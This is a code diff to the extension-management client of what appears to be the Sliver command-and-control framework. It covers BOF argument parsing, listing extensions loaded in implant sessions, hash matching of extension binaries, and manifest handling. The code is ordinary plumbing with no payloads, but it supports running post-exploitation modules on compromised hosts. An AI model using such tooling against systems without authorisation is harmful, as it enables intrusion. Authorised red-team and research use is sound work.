||||
if err := fs.Parse(args); err != nil {
|
||||
return nil, nil, nil, nil, nil, nil, err
|
||||
}
|
||||
|
||||
return fs, stringValues, wstringValues, intValues, shortValues, fileValues, nil
|
||||
}
|
||||
|
||||
// bofProcessArgumentsToBuffer processes each argument and adds its value to the buffer
|
||||
// Returns a list of missing required arguments and any error encountered
|
||||
func bofProcessArgumentsToBuffer(fs *flag.FlagSet, ext *ExtCommand, argsBuffer core.BOFArgsBuffer,
|
||||
stringValues, wstringValues map[string]*string,
|
||||
intValues, shortValues map[string]*int,
|
||||
fileValues map[string]*string) ([]string, error) {
|
||||
|
||||
missingRequiredArgs := make([]string, 0)
|
||||
|
||||
for _, argDef := range ext.Arguments {
|
||||
var provided bool
|
||||
var err error
|
||||
|
||||
// Process based on argument type
|
||||
switch argDef.Type {
|
||||
case "string":
|
||||
provided, err = bofProcessStringArg(fs, argDef, stringValues, argsBuffer)
|
||||
case "wstring":
|
||||
provided, err = bofProcessWStringArg(fs, argDef, wstringValues, argsBuffer)
|
||||
case "int", "integer":
|
||||
provided, err = bofProcessIntArg(fs, argDef, intValues, argsBuffer)
|
||||
case "short":
|
||||
provided, err = bofProcessShortArg(fs, argDef, shortValues, argsBuffer)
|
||||
case "file":
|
||||
provided, err = bofProcessFileArg(fs, argDef, fileValues, argsBuffer)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// If argument not provided, handle according to rules
|
||||
if !provided {
|
||||
if argDef.Optional {
|
||||
// Try to apply default or type-appropriate zero value
|
||||
err = bofApplyDefaultValue(argDef, argsBuffer)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
// Required argument was not provided
|
||||
missingRequiredArgs = append(missingRequiredArgs, "`"+argDef.Name+"`")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return missingRequiredArgs, nil
|
||||
}
|
||||
|
||||
// bofProcessStringArg processes a string argument
|
||||
func bofProcessStringArg(fs *flag.FlagSet, argDef *extensionArgument, stringValues map[string]*string,
|
||||
argsBuffer core.BOFArgsBuffer) (bool, error) {
|
||||
|
||||
ptr := stringValues[argDef.Name]
|
||||
flagWasSet := *ptr != "" && bofFlagWasProvided(fs, argDef.Name)
|
||||
|
||||
if flagWasSet {
|
||||
err := argsBuffer.AddString(*ptr)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("failed to add string argument %s: %v", argDef.Name, err)
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// bofProcessWStringArg processes a wide string argument
|
||||
func bofProcessWStringArg(fs *flag.FlagSet, argDef *extensionArgument, wstringValues map[string]*string,
|
||||
argsBuffer core.BOFArgsBuffer) (bool, error) {
|
||||
|
||||
ptr := wstringValues[argDef.Name]
|
||||
flagWasSet := *ptr != "" && bofFlagWasProvided(fs, argDef.Name)
|
||||
|
||||
if flagWasSet {
|
||||
err := argsBuffer.AddWString(*ptr)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("failed to add wstring argument %s: %v", argDef.Name, err)
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// bofProcessIntArg processes an integer argument
|
||||
func bofProcessIntArg(fs *flag.FlagSet, argDef *extensionArgument, intValues map[string]*int,
|
||||
argsBuffer core.BOFArgsBuffer) (bool, error) {
|
||||
|
||||
ptr := intValues[argDef.Name]
|
||||
flagWasSet := bofFlagWasProvided(fs, argDef.Name)
|
||||
|
||||
if flagWasSet {
|
||||
err := argsBuffer.AddInt(uint32(*ptr))
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("failed to add int argument %s: %v", argDef.Name, err)
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// bofProcessShortArg processes a short integer argument
|
||||
func bofProcessShortArg(fs *flag.FlagSet, argDef *extensionArgument, shortValues map[string]*int,
|
||||
argsBuffer core.BOFArgsBuffer) (bool, error) {
|
||||
|
||||
ptr := shortValues[argDef.Name]
|
||||
flagWasSet := bofFlagWasProvided(fs, argDef.Name)
|
||||
|
||||
if flagWasSet {
|
||||
err := argsBuffer.AddShort(uint16(*ptr))
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("failed to add short argument %s: %v", argDef.Name, err)
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// bofProcessFileArg processes a file argument
|
||||
func bofProcessFileArg(fs *flag.FlagSet, argDef *extensionArgument, fileValues map[string]*string,
|
||||
argsBuffer core.BOFArgsBuffer) (bool, error) {
|
||||
|
||||
ptr := fileValues[argDef.Name]
|
||||
flagWasSet := *ptr != "" && bofFlagWasProvided(fs, argDef.Name)
|
||||
|
||||
if flagWasSet {
|
||||
// Validate file exists and read it
|
||||
data, err := os.ReadFile(*ptr)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("error reading file for argument %s: %v", argDef.Name, err)
|
||||
}
|
||||
err = argsBuffer.AddData(data)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("failed to add file data for argument %s: %v", argDef.Name, err)
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// bofApplyDefaultValue applies a default value based on the argument definition
|
||||
func bofApplyDefaultValue(argDef *extensionArgument, argsBuffer core.BOFArgsBuffer) error {
|
||||
// Try to use default value from manifest if available
|
||||
if argDef.Default != nil {
|
||||
switch argDef.Type {
|
||||
case "string":
|
||||
// Handle string default - could be string literal or numeric in JSON
|
||||
defaultVal, ok := argDef.Default.(string)
|
||||
if !ok {
|
||||
// Try to convert from other types
|
||||
defaultVal = fmt.Sprintf("%v", argDef.Default)
|
||||
}
|
||||
err := argsBuffer.AddString(defaultVal)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default string: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:%s (default)\n", argDef.Name, defaultVal)
|
||||
|
||||
case "wstring":
|
||||
// Handle wstring default
|
||||
defaultVal, ok := argDef.Default.(string)
|
||||
if !ok {
|
||||
defaultVal = fmt.Sprintf("%v", argDef.Default)
|
||||
}
|
||||
err := argsBuffer.AddWString(defaultVal)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default wstring: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:%s (default)\n", argDef.Name, defaultVal)
|
||||
|
||||
case "int", "integer":
|
||||
// Handle int default - could be number or string in JSON
|
||||
var defaultInt uint32
|
||||
|
||||
// Try as number first
|
||||
numVal, ok := argDef.Default.(float64) // JSON unmarshals numbers as float64
|
||||
if ok {
|
||||
defaultInt = uint32(numVal)
|
||||
} else {
|
||||
// Try as string
|
||||
strVal, ok := argDef.Default.(string)
|
||||
if ok {
|
||||
val, err := strconv.ParseUint(strVal, 10, 32)
|
||||
if err == nil {
|
||||
defaultInt = uint32(val)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
err := argsBuffer.AddInt(defaultInt)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default int: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:%d (default)\n", argDef.Name, defaultInt)
|
||||
|
||||
case "short":
|
||||
// Handle short default - could be number or string in JSON
|
||||
var defaultShort uint16
|
||||
|
||||
// Try as number first
|
||||
numVal, ok := argDef.Default.(float64) // JSON unmarshals numbers as float64
|
||||
if ok {
|
||||
defaultShort = uint16(numVal)
|
||||
} else {
|
||||
// Try as string
|
||||
strVal, ok := argDef.Default.(string)
|
||||
if ok {
|
||||
val, err := strconv.ParseUint(strVal, 10, 16)
|
||||
if err == nil {
|
||||
defaultShort = uint16(val)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
err := argsBuffer.AddShort(defaultShort)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default short: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:%d (default)\n", argDef.Name, defaultShort)
|
||||
|
||||
case "file":
|
||||
// Default for file doesn't really make sense, but handle for completeness
|
||||
err := argsBuffer.AddData([]byte{})
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default file data: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:<empty> (default)\n", argDef.Name)
|
||||
}
|
||||
} else {
|
||||
// No default specified in manifest, use type-appropriate zero values
|
||||
switch argDef.Type {
|
||||
case "string":
|
||||
err := argsBuffer.AddString("")
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default string: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:<empty> (default)\n", argDef.Name)
|
||||
|
||||
case "wstring":
|
||||
err := argsBuffer.AddWString("")
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default wstring: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:<empty> (default)\n", argDef.Name)
|
||||
|
||||
case "int", "integer":
|
||||
err := argsBuffer.AddInt(0)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default int: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:0 (default)\n", argDef.Name)
|
||||
|
||||
case "short":
|
||||
err := argsBuffer.AddShort(0)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default short: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:0 (default)\n", argDef.Name)
|
||||
|
||||
case "file":
|
||||
// Empty data for optional file
|
||||
err := argsBuffer.AddData([]byte{})
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default file data: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:<empty> (default)\n", argDef.Name)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// bofDebugPrintParsedFlags prints information about the parsed flags
|
||||
func bofDebugPrintParsedFlags(fs *flag.FlagSet, ext *ExtCommand,
|
||||
stringValues map[string]*string,
|
||||
wstringValues map[string]*string,
|
||||
intValues map[string]*int,
|
||||
shortValues map[string]*int,
|
||||
fileValues map[string]*string) {
|
||||
|
||||
fmt.Println("parsed flags:")
|
||||
|
||||
for _, arg := range ext.Arguments {
|
||||
flagName := arg.Name
|
||||
wasProvided := bofFlagWasProvided(fs, flagName)
|
||||
|
||||
if wasProvided {
|
||||
switch arg.Type {
|
||||
case "string":
|
||||
fmt.Printf(" -%s:%s\n", flagName, *stringValues[flagName])
|
||||
case "wstring":
|
||||
fmt.Printf(" -%s:%s\n", flagName, *wstringValues[flagName])
|
||||
case "int", "integer":
|
||||
fmt.Printf(" -%s:%d\n", flagName, *intValues[flagName])
|
||||
case "short":
|
||||
fmt.Printf(" -%s:%d\n", flagName, *shortValues[flagName])
|
||||
case "file":
|
||||
fmt.Printf(" -%s:%s\n", flagName, *fileValues[flagName])
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// bofFlagWasProvided checks if a flag was explicitly set
|
||||
func bofFlagWasProvided(fs *flag.FlagSet, name string) bool {
|
||||
provided := false
|
||||
fs.Visit(func(f *flag.Flag) {
|
||||
if f.Name == name {
|
||||
provided = true
|
||||
}
|
||||
})
|
||||
return provided
|
||||
}
|
||||
@@ -1,34 +1,28 @@
|
||||
package extensions
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/command/use"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
)
|
||||
|
||||
// Commands returns the “ command and its subcommands.
|
||||
// Commands returns the 'extensions' command and its subcommands.
|
||||
func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
extensionCmd := &cobra.Command{
|
||||
Use: consts.ExtensionsStr,
|
||||
Short: "Manage extensions",
|
||||
Long: help.GetHelpFor([]string{consts.ExtensionsStr}),
|
||||
GroupID: consts.ExecutionHelpGroup,
|
||||
GroupID: consts.GenericHelpGroup,
|
||||
Run: func(cmd *cobra.Command, _ []string) {
|
||||
ExtensionsCmd(cmd, con)
|
||||
},
|
||||
}
|
||||
|
||||
extensionCmd.AddCommand(&cobra.Command{
|
||||
Use: consts.ListStr,
|
||||
Short: "List extensions loaded in the current session or beacon",
|
||||
Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.ListStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ExtensionsListCmd(cmd, con, args)
|
||||
},
|
||||
})
|
||||
|
||||
extensionLoadCmd := &cobra.Command{
|
||||
Use: consts.LoadStr,
|
||||
Short: "Temporarily load an extension from a local directory",
|
||||
@@ -66,3 +60,30 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
|
||||
return []*cobra.Command{extensionCmd}
|
||||
}
|
||||
|
||||
func SliverCommands(con *console.SliverClient) []*cobra.Command {
|
||||
extensionCmd := &cobra.Command{
|
||||
Use: consts.ExtensionsStr,
|
||||
Short: "Manage extensions",
|
||||
Long: help.GetHelpFor([]string{consts.ExtensionsStr}),
|
||||
GroupID: consts.InfoHelpGroup,
|
||||
Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), // restrict to session targets since we cannot `list` "loaded" extensions from beacon mode
|
||||
}
|
||||
|
||||
listCmd := &cobra.Command{
|
||||
Use: consts.ListStr,
|
||||
Short: "List extensions loaded in the current session",
|
||||
Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.ListStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ExtensionsListCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("use", false, listCmd, func(f *pflag.FlagSet) {
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
extensionCmd.AddCommand(listCmd)
|
||||
|
||||
carapace.Gen(listCmd).PositionalCompletion(use.BeaconAndSessionIDCompleter(con))
|
||||
|
||||
return []*cobra.Command{extensionCmd}
|
||||
}
|
||||
@@ -22,6 +22,7 @@ import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
@@ -35,7 +36,7 @@ import (
|
||||
|
||||
// ExtensionsCmd - List information about installed extensions.
|
||||
func ExtensionsCmd(cmd *cobra.Command, con *console.SliverClient) {
|
||||
if 0 < len(getInstalledManifests()) {
|
||||
if len(GetAllExtensionManifests()) > 0 {
|
||||
PrintExtensions(con)
|
||||
} else {
|
||||
con.PrintInfof("No extensions installed, use the 'armory' command to automatically install some\n")
|
||||
@@ -67,8 +68,12 @@ func PrintExtensions(con *console.SliverClient) {
|
||||
for _, extension := range loadedExtensions {
|
||||
//for _, extension := range extensionm.ExtCommand {
|
||||
installed := ""
|
||||
if _, ok := installedManifests[extension.Manifest.Name]; ok {
|
||||
installed = "✅"
|
||||
//if _, ok := installedManifests[extension.Manifest.Name]; ok {
|
||||
for _, installedManifest := range installedManifests {
|
||||
if extension.Manifest.RootPath == installedManifest.RootPath {
|
||||
installed = "✅"
|
||||
break
|
||||
}
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
extension.Manifest.Name,
|
||||
@@ -97,6 +102,9 @@ func extensionPlatforms(extension *ExtCommand) []string {
|
||||
return keys
|
||||
}
|
||||
|
||||
// getInstalledManifests - Returns a mapping of extension names to their parsed manifest objects.
|
||||
// Reads all installed extension manifests from disk, ignoring any that cannot be read or parsed.
|
||||
// The returned manifests have their RootPath set to the directory containing their manifest file.
|
||||
func getInstalledManifests() map[string]*ExtensionManifest {
|
||||
manifestPaths := assets.GetInstalledExtensionManifests()
|
||||
installedManifests := map[string]*ExtensionManifest{}
|
||||
@@ -110,11 +118,48 @@ func getInstalledManifests() map[string]*ExtensionManifest {
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
manifest.RootPath = filepath.Dir(manifestPath)
|
||||
installedManifests[manifest.Name] = manifest
|
||||
}
|
||||
return installedManifests
|
||||
}
|
||||
|
||||
// getTemporarilyLoadedManifests returns a map of extension manifests that are currently
|
||||
// loaded into memory but not permanently installed. The map is keyed by the manifest's
|
||||
// Name field.
|
||||
func getTemporarilyLoadedManifests() map[string]*ExtensionManifest {
|
||||
tempManifests := map[string]*ExtensionManifest{}
|
||||
for name, manifest := range loadedManifests {
|
||||
tempManifests[name] = manifest
|
||||
}
|
||||
return tempManifests
|
||||
}
|
||||
|
||||
// GetAllExtensionManifests returns a combined list of manifest file paths from
|
||||
// both installed and temporarily loaded extensions
|
||||
func GetAllExtensionManifests() []string {
|
||||
manifestPaths := make(map[string]struct{}) // use map for deduplication
|
||||
|
||||
// Add installed manifests
|
||||
for _, manifest := range getInstalledManifests() {
|
||||
manifestPath := filepath.Join(manifest.RootPath, ManifestFileName)
|
||||
manifestPaths[manifestPath] = struct{}{}
|
||||
}
|
||||
|
||||
// Add temporarily loaded manifests
|
||||
for _, manifest := range getTemporarilyLoadedManifests() {
|
||||
manifestPath := filepath.Join(manifest.RootPath, ManifestFileName)
|
||||
manifestPaths[manifestPath] = struct{}{}
|
||||
}
|
||||
|
||||
// Convert to slice
|
||||
paths := make([]string, 0, len(manifestPaths))
|
||||
for path := range manifestPaths {
|
||||
paths = append(paths, path)
|
||||
}
|
||||
return paths
|
||||
}
|
||||
|
||||
// ExtensionsCommandNameCompleter - Completer for installed extensions command names.
|
||||
func ExtensionsCommandNameCompleter(con *console.SliverClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
|
||||
@@ -43,7 +43,22 @@ func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []
|
||||
InstallFromDir(extLocalPath, true, con, strings.HasSuffix(extLocalPath, ".tar.gz"))
|
||||
}
|
||||
|
||||
// Install an extension from a directory
|
||||
// InstallFromDir installs a Sliver extension from either a local directory or gzipped archive.
|
||||
// It reads the extension manifest, validates it, and copies all required files to the extensions
|
||||
// directory. If an extension with the same name already exists, it can optionally prompt for
|
||||
// overwrite confirmation.
|
||||
//
|
||||
// Parameters:
|
||||
// - extLocalPath: Path to the source directory or gzipped archive containing the extension
|
||||
// - promptToOverwrite: If true, prompts for confirmation before overwriting existing extension
|
||||
// - con: Sliver console client for displaying status and error messages
|
||||
// - isGz: Whether the source is a gzipped archive (true) or directory (false)
|
||||
//
|
||||
// The function will return early with error messages printed to console if:
|
||||
// - The manifest cannot be read or parsed
|
||||
// - Required directories cannot be created
|
||||
// - File copy operations fail
|
||||
// - User declines overwrite when prompted
|
||||
func InstallFromDir(extLocalPath string, promptToOverwrite bool, con *console.SliverClient, isGz bool) {
|
||||
var manifestData []byte
|
||||
var err error
|
||||
@@ -64,8 +79,15 @@ func InstallFromDir(extLocalPath string, promptToOverwrite bool, con *console.Sl
|
||||
return
|
||||
}
|
||||
|
||||
// Use package name if available, otherwise use extension name
|
||||
// (Note, for v1 manifests this will actually be command_name)
|
||||
packageID := manifestF.Name
|
||||
if manifestF.PackageName != "" {
|
||||
packageID = manifestF.PackageName
|
||||
}
|
||||
|
||||
//create repo path
|
||||
minstallPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestF.Name))
|
||||
minstallPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(packageID))
|
||||
if _, err := os.Stat(minstallPath); !os.IsNotExist(err) {
|
||||
if promptToOverwrite {
|
||||
con.PrintInfof("Extension '%s' already exists", manifestF.Name)
|
||||
|
||||
@@ -20,12 +20,111 @@ package extensions
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// ExtensionMatch holds the details of a matched extension
|
||||
|
||||
type ExtensionMatch struct {
|
||||
CommandName string
|
||||
Hash string
|
||||
BinPath string
|
||||
}
|
||||
|
||||
// FindExtensionMatches searches through loaded extensions for matching hashes
|
||||
// Returns a map of hash to ExtensionMatch (match will be nil if hash wasn't found)
|
||||
func FindExtensionMatches(targetHashes []string) map[string]*ExtensionMatch {
|
||||
results := make(map[string]*ExtensionMatch)
|
||||
pathCache := make(map[string]*ExtensionMatch)
|
||||
|
||||
// Initialize results map with all target hashes
|
||||
for _, hash := range targetHashes {
|
||||
results[hash] = nil
|
||||
}
|
||||
|
||||
// Search for matches
|
||||
for _, extCmd := range loadedExtensions {
|
||||
if extCmd == nil || len(extCmd.Files) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, file := range extCmd.Files {
|
||||
fullPath := filepath.Join(extCmd.Manifest.RootPath, file.Path)
|
||||
|
||||
// Check cache first
|
||||
var match *ExtensionMatch
|
||||
if cached, exists := pathCache[fullPath]; exists {
|
||||
match = cached
|
||||
} else {
|
||||
// Calculate hash if not cached
|
||||
fileData, err := os.ReadFile(fullPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
hashBytes := sha256.Sum256(fileData)
|
||||
fileHash := hex.EncodeToString(hashBytes[:])
|
||||
|
||||
match = &ExtensionMatch{
|
||||
CommandName: extCmd.CommandName,
|
||||
Hash: fileHash,
|
||||
BinPath: fullPath,
|
||||
}
|
||||
pathCache[fullPath] = match
|
||||
}
|
||||
|
||||
if slices.Contains(targetHashes, match.Hash) {
|
||||
results[match.Hash] = match
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
// PrintExtensionMatches prints the extension matches in a formatted table
|
||||
func PrintExtensionMatches(matches map[string]*ExtensionMatch, con *console.SliverClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Command Name",
|
||||
"Sha256 Hash",
|
||||
"Bin Path",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Command Name", Mode: table.Asc},
|
||||
})
|
||||
|
||||
for hash, match := range matches {
|
||||
if match != nil {
|
||||
tw.AppendRow(table.Row{
|
||||
match.CommandName,
|
||||
hash,
|
||||
match.BinPath,
|
||||
})
|
||||
} else {
|
||||
tw.AppendRow(table.Row{
|
||||
"",
|
||||
hash,
|
||||
"",
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
con.Println(tw.Render())
|
||||
}
|
||||
|
||||
// ExtensionsListCmd - List all extension loaded on the active session/beacon.
|
||||
func ExtensionsListCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
@@ -45,10 +144,12 @@ func ExtensionsListCmd(cmd *cobra.Command, con *console.SliverClient, args []str
|
||||
con.PrintErrorf("%s\n", extList.Response.Err)
|
||||
return
|
||||
}
|
||||
if len(extList.Names) > 0 {
|
||||
con.PrintInfof("Loaded extensions:\n")
|
||||
for _, ext := range extList.Names {
|
||||
con.Printf("- %s\n", ext)
|
||||
}
|
||||
|
||||
if len(extList.Names) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Loaded extensions:\n\n")
|
||||
matches := FindExtensionMatches(extList.Names)
|
||||
PrintExtensionMatches(matches, con)
|
||||
}
|
||||
@@ -80,6 +80,7 @@ type ExtensionManifest_ struct {
|
||||
|
||||
type ExtensionManifest struct {
|
||||
Name string `json:"name"`
|
||||
PackageName string `json:"package_name"`
|
||||
Version string `json:"version"`
|
||||
ExtensionAuthor string `json:"extension_author"`
|
||||
OriginalAuthor string `json:"original_author"`
|
||||
@@ -115,17 +116,24 @@ type extensionFile struct {
|
||||
}
|
||||
|
||||
type extensionArgument struct {
|
||||
Name string `json:"name"`
|
||||
Type string `json:"type"`
|
||||
Desc string `json:"desc"`
|
||||
Optional bool `json:"optional"`
|
||||
Name string `json:"name"`
|
||||
Type string `json:"type"`
|
||||
Desc string `json:"desc"`
|
||||
Optional bool `json:"optional"`
|
||||
Default interface{} `json:"default,omitempty"`
|
||||
}
|
||||
|
||||
func (e *ExtCommand) getFileForTarget(targetOS string, targetArch string) (string, error) {
|
||||
filePath := ""
|
||||
for _, extFile := range e.Files {
|
||||
if targetOS == extFile.OS && targetArch == extFile.Arch {
|
||||
filePath = path.Join(assets.GetExtensionsDir(), e.Manifest.Name, extFile.Path)
|
||||
if e.Manifest.RootPath != "" {
|
||||
// Use RootPath for temporarily loaded extensions
|
||||
filePath = path.Join(e.Manifest.RootPath, extFile.Path)
|
||||
} else {
|
||||
// Fall back to extensions dir for installed extensions
|
||||
filePath = path.Join(assets.GetExtensionsDir(), e.Manifest.Name, extFile.Path)
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
@@ -140,10 +148,19 @@ func (e *ExtCommand) getFileForTarget(targetOS string, targetArch string) (strin
|
||||
return filePath, nil
|
||||
}
|
||||
|
||||
// ExtensionLoadCmd - Load extension command.
|
||||
// ExtensionLoadCmd - Temporarily installs an extension from a local directory into the client.
|
||||
// The extension must contain a valid manifest file. If commands from the extension
|
||||
// already exist, the user will be prompted to overwrite them.
|
||||
func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
dirPath := args[0]
|
||||
// dirPath := ctx.Args.String("dir-path")
|
||||
|
||||
// Add directory check
|
||||
fileInfo, err := os.Stat(dirPath)
|
||||
if err != nil || !fileInfo.IsDir() {
|
||||
con.PrintErrorf("Path is not a directory: %s\n", dirPath)
|
||||
return
|
||||
}
|
||||
|
||||
manifest, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
|
||||
if err != nil {
|
||||
return
|
||||
@@ -165,7 +182,11 @@ func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
|
||||
}
|
||||
}
|
||||
|
||||
// LoadExtensionManifest - Parse extension files.
|
||||
// LoadExtensionManifest loads and parses an extension manifest file from the given path.
|
||||
// It registers each command defined in the manifest into the loadedExtensions map
|
||||
// and registers the complete manifest into loadedManifests. A single manifest may
|
||||
// contain multiple extension commands. The manifest's RootPath is set to its containing
|
||||
// directory. Returns the parsed manifest and any errors encountered.
|
||||
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
|
||||
data, err := os.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
@@ -279,7 +300,13 @@ func validManifest(manifest *ExtensionManifest) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// ExtensionRegisterCommand - Register a new extension command
|
||||
// ExtensionRegisterCommand adds an extension command to the cobra command system.
|
||||
// It validates the extension's arguments, updates the loadedExtensions map, and
|
||||
// creates a cobra.Command with proper usage text, help documentation, and argument
|
||||
// handling. The command is added as a subcommand to the provided parent cobra.Command.
|
||||
// Arguments are displayed in the help text as uppercase, with optional args in square
|
||||
// brackets. The help text includes sections for command usage, description, and detailed
|
||||
// argument specifications.
|
||||
func ExtensionRegisterCommand(extCmd *ExtCommand, cmd *cobra.Command, con *console.SliverClient) {
|
||||
if errInvalidArgs := checkExtensionArgs(extCmd); errInvalidArgs != nil {
|
||||
con.PrintErrorf(errInvalidArgs.Error())
|
||||
@@ -287,7 +314,6 @@ func ExtensionRegisterCommand(extCmd *ExtCommand, cmd *cobra.Command, con *conso
|
||||
}
|
||||
|
||||
loadedExtensions[extCmd.CommandName] = extCmd
|
||||
//helpMsg := extCmd.Help
|
||||
|
||||
usage := strings.Builder{}
|
||||
usage.WriteString(extCmd.CommandName)
|
||||
@@ -339,9 +365,9 @@ func ExtensionRegisterCommand(extCmd *ExtCommand, cmd *cobra.Command, con *conso
|
||||
|
||||
// Command
|
||||
extensionCmd := &cobra.Command{
|
||||
Use: usage.String(), //extCmd.CommandName,
|
||||
//Short: helpMsg.String(), doesn't appear to be used?
|
||||
Long: help.FormatHelpTmpl(longHelp.String()),
|
||||
Use: usage.String(),
|
||||
Short: extCmd.Help,
|
||||
Long: help.FormatHelpTmpl(longHelp.String()),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
runExtensionCmd(cmd, con, args)
|
||||
},
|
||||
@@ -559,11 +585,11 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
extName = ext.DependsOn
|
||||
entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
|
||||
} else {
|
||||
// Regular DLL
|
||||
extensionArgs, err = getExtArgs(cmd, args, binPath, ext)
|
||||
if err != nil {
|
||||
con.PrintErrorf("ext args error: %s\n", err)
|
||||
return
|
||||
// Regular DLL - Just join the arguments with spaces
|
||||
if len(args) > 0 {
|
||||
extensionArgs = []byte(strings.Join(args, " "))
|
||||
} else {
|
||||
extensionArgs = []byte{}
|
||||
}
|
||||
extName = ext.CommandName
|
||||
entryPoint = ext.Entrypoint
|
||||
@@ -771,7 +797,7 @@ func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtComma
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
parsedArgs, err := getExtArgs(cmd, args, binPath, ext)
|
||||
parsedArgs, err := ParseFlagArgumentsToBuffer(cmd, args, binPath, ext)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -23,6 +23,7 @@ import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
